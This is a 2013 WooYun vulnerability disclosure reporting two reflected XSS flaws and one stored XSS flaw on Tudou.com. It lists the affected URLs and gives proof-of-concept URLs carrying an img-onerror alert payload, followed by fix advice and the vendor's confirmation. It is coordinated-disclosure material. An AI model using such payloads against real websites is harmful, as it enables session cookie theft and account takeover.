当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-036448

漏洞标题：土豆网三枚XSS跨站漏洞(均可窃取cookie)

相关厂商：土豆网

漏洞作者： b33

提交时间：2013-09-08 13:30

修复时间：2013-10-23 13:31

公开时间：2013-10-23 13:31

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-08： 细节已通知厂商并且等待厂商处理中
2013-09-09： 厂商已经确认，细节仅向厂商公开
2013-09-19： 细节向核心白帽子及相关领域专家公开
2013-09-29： 细节向普通白帽子公开
2013-10-09： 细节向实习白帽子公开
2013-10-23： 细节向公众公开

简要描述：

土豆网某些页面由于没有进行过滤或过滤不严导致存在的两枚反射型和一枚存储型XSS跨站漏洞

详细说明：

存在反射型XSS的两个地址
1、

http://login.tudou.com/reg.do?act=isRegisteredNickname4Reg&callback=wooyun

2、

http://tjpt.my.tudou.com/tjpt/recommend?pcode=10000100&callback=wooyun


存在存储型XSS的一个地址（这个我看已经有人发布了，但目前为止仍未修复）
3、

http://marketing.tudou.com/tianlei/shumenol2/upload.php


漏洞证明：

http://tjpt.my.tudou.com/tjpt/recommend?pcode=10000100&callback=wooyun%3CIMG%20SRC=1%20onerror=alert%28/XSS/%29%3E

1

http://login.tudou.com/reg.do?act=isRegisteredNickname4Reg&callback=wooyun%3CIMG%20SRC=1%20onerror=alert%28/XSS/%29%3E

2

http://marketing.tudou.com/tianlei/shumenol2/upload.php

3

没有对用户输入进行数据合法性验证，导致了持久性XSS

http://marketing.tudou.com/tianlei/shumenol2/view.php?id=1845349

444.PNG

//firefox弹窗效果

555.PNG

//chrome弹窗效果

修复方案：

1、过滤不可信数据
2、对用户输入进行数据合法性验证
3、为Cookie加上HttpOnly

版权声明：转载请注明来源 b33@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-09-09 12:58

厂商回复：

均已确认

最新状态：

暂无

漏洞评价：

评论

  1. 2013-09-08 13:54 | 艾特绅 ( 路人 | Rank:21 漏洞数:5 | 愿意为网络安全做出我的贡献)

    马克